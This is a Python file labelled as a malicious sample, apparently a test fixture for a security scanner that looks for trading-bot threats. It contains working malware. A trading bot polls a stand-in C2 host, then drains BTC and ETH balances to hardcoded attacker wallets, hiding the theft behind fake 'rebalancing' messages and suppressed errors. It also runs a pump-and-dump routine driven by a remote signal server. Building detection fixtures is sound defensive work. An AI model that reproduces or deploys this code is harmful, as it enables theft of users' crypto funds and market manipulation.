"""
MALICIOUS SAMPLE - Tests trading bot specific threats
"""

import binance
import requests
import time
import threading

# CRITICAL: Hardcoded API credentials (should trigger rule)
BINANCE_API_KEY = "8xKj9mN2pQ7rS5tU4vW6xY8zA1bC3dE5fG7hI9jK2lM4nO6pQ8rS0tU2vW4xY6zA"
BINANCE_SECRET = "9yLk0mN3qR8sT6uX7wZ9aB2cD4eF6gH8iJ0kL2mN4oP6qR8sT0uV2wX4yZ6aB8cD"

# Attacker's wallet address (hardcoded)
ATTACKER_BTC_ADDRESS = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
ATTACKER_ETH_ADDRESS = "0x742d35Cc6635C0532925a3b8138121D1c2a6c7C1"


class MaliciousTradingBot:
    def __init__(self):
        self.client = binance.Client(BINANCE_API_KEY, BINANCE_SECRET)
        self.is_draining = False

    def legitimate_looking_function(self):
        """This looks like a normal trading function"""
        # Get market data
        ticker = self.client.get_ticker(symbol="BTCUSDT")
        print(f"BTC Price: {ticker['price']}")

        # Hidden malicious functionality
        if self.should_activate_backdoor():
            self.drain_wallet()

    def should_activate_backdoor(self):
        """Check if we should activate the backdoor"""
        try:
            # Contact C2 server for instructions
            response = requests.get("http://evil-c2.onion/instructions", timeout=5)
            if response.status_code == 200:
                data = response.json()
                return data.get("activate", False)
        except:
            pass
        return False

    def drain_wallet(self):
        """MALICIOUS: Drain all funds to attacker's wallet"""
        if self.is_draining:
            return

        self.is_draining = True
        print("Performing portfolio rebalancing...")  # Fake legitimate message

        try:
            # Get all account balances
            account = self.client.get_account()

            for balance in account["balances"]:
                asset = balance["asset"]
                free_amount = float(balance["free"])

                if free_amount > 0 and asset in ["BTC", "ETH", "USDT"]:
                    try:
                        # Withdraw to attacker's address
                        if asset == "BTC":
                            self.client.withdraw(
                                asset="BTC",
                                address=ATTACKER_BTC_ADDRESS,
                                amount=free_amount,
                            )
                        elif asset == "ETH":
                            self.client.withdraw(
                                asset="ETH",
                                address=ATTACKER_ETH_ADDRESS,
                                amount=free_amount,
                            )

                        # Log fake message to hide theft
                        print(f"Rebalanced {free_amount} {asset}")

                    except Exception as e:
                        # Silently continue if withdrawal fails
                        pass

        except Exception as e:
            # Hide any errors
            pass

    def pump_and_dump_scheme(self, target_coin="DOGE"):
        """MALICIOUS: Coordinated pump and dump"""
        # Connect to pump group
        pump_signal_url = "http://pump-group.dark/signals"

        def monitor_pump_signals():
            while True:
                try:
                    response = requests.get(pump_signal_url)
                    if response.status_code == 200:
                        signal = response.json()

                        if (
                            signal.get("action") == "pump"
                            and signal.get("coin") == target_coin
                        ):
                            # PUMP phase - buy large amount
                            self.execute_pump(target_coin, signal.get("amount", 10000))

                        elif (
                            signal.get("action") == "dump"
                            and signal.get("coin") == target_coin
                        ):
                            # DUMP phase - sell everything
                            self.execute_dump(target_coin)

                except:
                    pass

                time.sleep(1)

        # Start monitoring in background
        threading.Thread(target=monitor_pump_signals, daemon=True).start()

    def execute_pump(self, coin, amount_usdt):
        """Execute pump phase"""
        try:
            symbol = f"{coin}USDT"
            # Buy large amount to pump price
            order = self.client.order_market_buy(
                symbol=symbol, quoteOrderQty=amount_usdt
            )
            print(f"Pumping {coin}: bought ${amount_usdt} worth")
        except:
            pass

    def execute_dump(self, coin):
        """Execute dump phase"""
        try:
            symbol = f"{coin}USDT"
            balance = self.client.get_asset_balance(asset=coin)
            free_amount = float(balance["free"])

            if free_amount > 0:
                # Sell everything to dump price
                order = self.client.order_market_sell(
                    symbol=symbol, quantity=free_amount
                )
                print(f"Dumping {coin}: sold {free_amount}")
        except:
            pass
